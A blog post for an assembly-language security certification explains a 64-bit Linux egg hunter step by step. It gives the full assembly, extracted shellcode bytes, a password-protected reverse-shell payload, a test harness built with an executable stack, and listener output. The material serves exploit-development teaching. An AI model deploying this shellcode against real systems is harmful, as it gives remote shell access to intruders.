SLAE64 - Assignment #3 - Egg Hunter
Introduction
This is the blog post for the 3rd Assignment of the SLAE64 course, which is offered by PentesterAcademy. The course focuses on teaching the basics of 64-bit Assembly language for the Intel Architecture (IA-x86_64) family of processors on the Linux platform.
The purpose of this assignment is to create an Egg Hunter shellcode. An Egg Hunter is the first stage of a multistage payload. It consists of a piece of code that scans memory for a specific pattern and moves execution to that location. The pattern is a 4 byte string referred to as an egg. The Egg Hunter searches for two instances of where one directly follows the other. More details can be found at: The Basics of Exploit Development 3: Egg Hunters.
My code can be found in my Github: geobour98’s Github.
Egg Hunter in Detail
A great paper showcasing Egg Hunting techniques in Linux and Windows in great detail can be found at: Safely Searching Process Virtual Address Space. The code is based on one of the implementations described there.
This implementation is based on the syscall access
. It checks user’s permissions for a specific file. The header file /usr/include/x86_64-linux-gnu/asm/unistd_64.h
shows the number for accesss
.
Syscall | Definition |
---|---|
access | #define __NR_access 21 |
The syscall’s prototype is the following:
1
int access(const char *pathname, int mode);
If pathname
points outside of the accessible address space, then EFAULT
is returned. So we will use this error in order to search memory page by memory page for 2 consecutive instances of the egg. If this error is returned, we should search in another memory page for the egg.
Egg Hunter in Assembly
We start by clearing the RBX
register and setting it with the egg value. The egg is the following 4 bytes value: 0x50905090
. This value will later be searched for 2 consecutive instances, in total 8 bytes, in order to execute the shellcode coming after it.
1
2
xor rbx, rbx
mov ebx, 0x50905090 ; move the 4 bytes egg in ebx
Then, we clear the registers: RDI
and RDX
.
1
2
xor rdi, rdi ; clear rdi register
xor rdx, rdx ; clear ecx register
After that, we declare the procedure next_page
, where we perform an OR
bitwise operation between DX
, which has 0
value from before, and the hexadecimal value 0xfff
, 4095
in decimal, that results in the same 0xfff
value. Our goal with this procedure is to go to the next memory page, when we have found the memory address pointed by RBX
(explained later) is invalid, meaning that the rest of the addresses in this page are invalid too. This means that the egg isn’t there. The default memory page size is 4096 bytes, so we cover with next_page
the 4095 first bytes and the last one with next_address
.
1
2
3
next_page:
or dx, 0xfff ; page alignment operation
; default page size is 4096 bytes (next_page + next_address = 4096 => 4095 + 1 = 4096)
Then, we declare the procedure next_address
, where we increment the value of RDX
by one. This procedure serves the purpose explained above.
1
2
next_address:
inc rdx ; increment edx by 1 to reach the page size of 4096
We save 8 bytes from the start of the RDX
register at RDI
in order to be validated at once. That means that is impossible for the memory address pointing by RDX
to be valid and the memory address pointing by RDX + 4
to be invalid.
1
lea rdi, [rdx + 0x4] ; rdi is set with the value of rdx plus 4, so 8 bytes are validated at once
We clear the RAX
register and pass to it the hexadecimal value 0x15
(21
in decimal) as the access
syscall number.
1
2
xor rax, rax ; clear rax register
mov al, 0x15 ; 15 is the hex value of the decimal 21 for access syscall
The final step is to execute the accept
syscall.
1
syscall ; exec access syscall
The returned value from the accept
syscall is stored in RAX
register, so we want to compare the AL
part with the hexadecimal value 0xf2
, which is the low byte of the EFAULT
return value. If they are equal, the Zero Flag (ZF
) is set and it means that we want to go to the next memory page to search for the egg.
1
cmp al, 0xf2 ; compare return value of accept with 0xf2 (low byte of EFAULT return value)
Then, if the ZF
was set from cmp
instruction, we jump to the next_page
procedure in order to go to the next memory page.
1
jz next_page ; jump short to next_page if zero (ZF = 1)
If the ZF
from before isn’t set, it means we have a valid memory address. So we can compare the value pointing by RDX
with the egg value at EBX
. If they match, meaning that we found the egg for the first time, we continue through the code. Otherwise, we jump to the next_address
procedure in order to search for the egg in the next memory address.
1
2
cmp [rdx], ebx ; if the egg in ebx doesn't match rdx content go to the next address
jnz next_address ; jump short if not zero (ZF = 0)
If the ZF
is set from before, meaning we have the egg for the first time, we can compare the value of the next address (RDX + 0x4
) with the egg again to identify if we have 2 consecutive instances of the egg and we can execute the following shellcode. Otherwise, we jump to the next_address
again.
1
2
cmp [rdx + 0x4], ebx ; if the egg in ebx doesn't match rdx+4 content go to the next address again
jnz next_address ; jump short if not zero (ZF = 0)
Finally, at this point we have found 2 consecutive instances of the egg and we can jump at the shellcode in order to execute it.
1
jmp rdx ; egg is found, jump short at rdx (our shellcode)
The whole Assembly
program is the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
global _start
section .text
_start:
xor rbx, rbx
mov ebx, 0x50905090 ; move the 4 bytes egg in ebx
xor rdi, rdi ; clear rdi register
xor rdx, rdx ; clear ecx register
next_page:
or dx, 0xfff ; page alignment operation
; default page size is 4096 bytes (next_page + next_address = 4096 => 4095 + 1 = 4096)
next_address:
inc rdx ; increment edx by 1 to reach the page size of 4096
lea rdi, [rdx + 0x4] ; rdi is set with the value of rdx plus 4, so 8 bytes are validated at once
xor rax, rax ; clear rax register
mov al, 0x15 ; 15 is the hex value of the decimal 21 for access syscall
syscall ; exec access syscall
cmp al, 0xf2 ; compare return value of accept with 0xf2 (low byte of EFAULT return value)
jz next_page ; jump short to next_page if zero (ZF = 1)
cmp [rdx], ebx ; if the egg in ebx doesn't match rdx content go to the next address
jnz next_address ; jump short if not zero (ZF = 0)
cmp [rdx + 0x4], ebx ; if the egg in ebx doesn't match rdx+4 content go to the next address again
jnz next_address ; jump short if not zero (ZF = 0)
jmp rdx ; egg is found, jump short at rdx (our shellcode)
Testing the Egg Hunter
In order to prove that the Egg Hunter is working, we first have to compile the Assembly
code. This process consists of assembling and linking, which are described in previous blog posts.
The following bash
script automates that process:
1
2
3
4
5
6
7
8
9
#!/bin/bash
echo '[+] Assembling with Nasm ... '
nasm -felf64 -o $1.o $1.nasm
echo '[+] Linking ... '
ld -o $1 $1.o
echo '[+] Done!'
The following command does the compilation and creates the executable egg-hunter
:
1
2
3
4
geobour98@slae64-dev:~/SLAE/custom/SLAE64/3_Egg_hunter$ ./compile.sh egg-hunter
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
The next step is to extract the shellcode from the egg-hunter
executable in order to test it with another shellcode. The objdump
program, which displays information from object files, is used with the following one-liner:
1
2
geobour98@slae64-dev:~/SLAE/custom/SLAE64/3_Egg_hunter$ objdump -d ./egg-hunter |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x48\x31\xdb\xbb\x90\x50\x90\x50\x48\x31\xff\x48\x31\xd2\x66\x81\xca\xff\x0f\x48\xff\xc2\x48\x8d\x7a\x04\x48\x31\xc0\xb0\x15\x0f\x05\x3c\xf2\x74\xe9\x39\x1a\x75\xea\x39\x5a\x04\x75\xe5\xff\xe2"
Now we have extracted the shellcode and we will test it with the reverse shell created in the previous blog post. So, we need to extract the shellcode from the reverse
executable with the previous objdump
command:
1
2
geobour98@slae64-dev:~/SLAE/custom/SLAE64/3_Egg_hunter$ objdump -d ./reverse |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x48\x31\xc0\xb0\x29\x48\x31\xff\x48\x83\xc7\x02\x48\x31\xf6\x48\x83\xc6\x01\x48\x31\xd2\x0f\x05\x48\x89\xc7\x48\x31\xc0\x50\xc7\x44\x24\xfc\x7f\x01\x01\x01\x66\xc7\x44\x24\xfa\x11\x5c\xc6\x44\x24\xf8\x02\x48\x83\xec\x08\x04\x2a\x48\x89\xe6\x48\x31\xd2\x48\x83\xc2\x10\x0f\x05\x48\x31\xf6\x48\x83\xc6\x03\x48\x31\xc0\x04\x21\x48\xff\xce\x0f\x05\x75\xf4\x48\x31\xc0\x48\x89\xe6\x48\x31\xd2\x80\xc2\x08\x0f\x05\x48\x89\xe7\x48\xb8\x50\x61\x73\x73\x77\x6f\x72\x64\x48\xaf\x75\x20\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x48\xff\xcf\x0f\x05"
After that, we modify the C
program provided in the course materials that checks if a shellcode is working. The code
array contains the shellcode generated by objdump
but at the start we have put the egg value twice in little endian format. So it has become \x90\x50\x90\x50\x90\x50\x90\x50
. When the Egg Hunter shellcode gets executed it will search for that pattern and execute the shellcode coming after that, which is our reverse shell. Then we declare the egghunter
shellcode. After that we print the lengths of both shellcodes. Finally, we perform typecasting on the egghunter
shellcode and execute the ret()
function that executes the egghunter
shellcode, which then calls code
.
The whole C
program is the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <string.h>
unsigned char code[] = \
"\x90\x50\x90\x50\x90\x50\x90\x50\x48\x31\xc0\xb0\x29\x48\x31\xff\x48\x83\xc7\x02\x48\x31\xf6\x48\x83\xc6\x01\x48\x31\xd2\x0f\x05\x48\x89\xc7\x48\x31\xc0\x50\xc7\x44\x24\xfc\x7f\x01\x01\x01\x66\xc7\x44\x24\xfa\x11\x5c\xc6\x44\x24\xf8\x02\x48\x83\xec\x08\x04\x2a\x48\x89\xe6\x48\x31\xd2\x48\x83\xc2\x10\x0f\x05\x48\x31\xf6\x48\x83\xc6\x03\x48\x31\xc0\x04\x21\x48\xff\xce\x0f\x05\x75\xf4\x48\x31\xc0\x48\x89\xe6\x48\x31\xd2\x80\xc2\x08\x0f\x05\x48\x89\xe7\x48\xb8\x50\x61\x73\x73\x77\x6f\x72\x64\x48\xaf\x75\x20\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x48\xff\xcf\x0f\x05";
unsigned char egghunter[] = \
"\x48\x31\xdb\xbb\x90\x50\x90\x50\x48\x31\xff\x48\x31\xd2\x66\x81\xca\xff\x0f\x48\xff\xc2\x48\x8d\x7a\x04\x48\x31\xc0\xb0\x15\x0f\x05\x3c\xf2\x74\xe9\x39\x1a\x75\xea\x39\x5a\x04\x75\xe5\xff\xe2";
int main()
{
printf("Shellcode Length: %d\n", strlen(code));
printf("Egg Hunter Length: %d\n", strlen(egghunter));
int (*ret)() = (int(*)())egghunter;
ret();
return 0;
}
Now we need to compile the C
program, by disabling the stack protection as well as making the stack executable:
1
geobour98@slae64-dev:~/SLAE/custom/SLAE64/3_Egg_hunter$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
We test the Egg Hunter and the Reverse Shell by creating a listener on port 4444
with nc
in one terminal window and in another we execute the executable shellcode
. Then, back to the first we verify the incoming connection, provide the passcode: Password
and run the commands id
and ls
.
1st window:
1
geobour98@slae64-dev:~/SLAE/custom/SLAE64/3_Egg_hunter$ nc -lvnp 4444
2nd window:
1
2
3
4
geobour98@slae64-dev:~/SLAE/custom/SLAE64/3_Egg_hunter$ ./shellcode
Shellcode Length: 174
Egg Hunter Length: 48
1st window again:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [127.0.0.1] port 4444 [tcp/*] accepted (family 2, sport 60836)
Password
id
uid=1000(geobour98) gid=1000(geobour98) groups=1000(geobour98),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
ls
compile.sh
egg-hunter
egg-hunter.nasm
egg-hunter.o
reverse
shellcode
shellcode.c
exit
geobour98@slae64-dev:~/SLAE/custom/SLAE64/3_Egg_hunter$
Summary
We have a working Egg Hunter shellcode that calls the Reverse Shell shellcode and we get a connection back on port 4444.
Next will be the Custom Encoder!
SLAE64 Blog Post
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
https://www.pentesteracademy.com/course?id=7
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/Student ID: PA-36167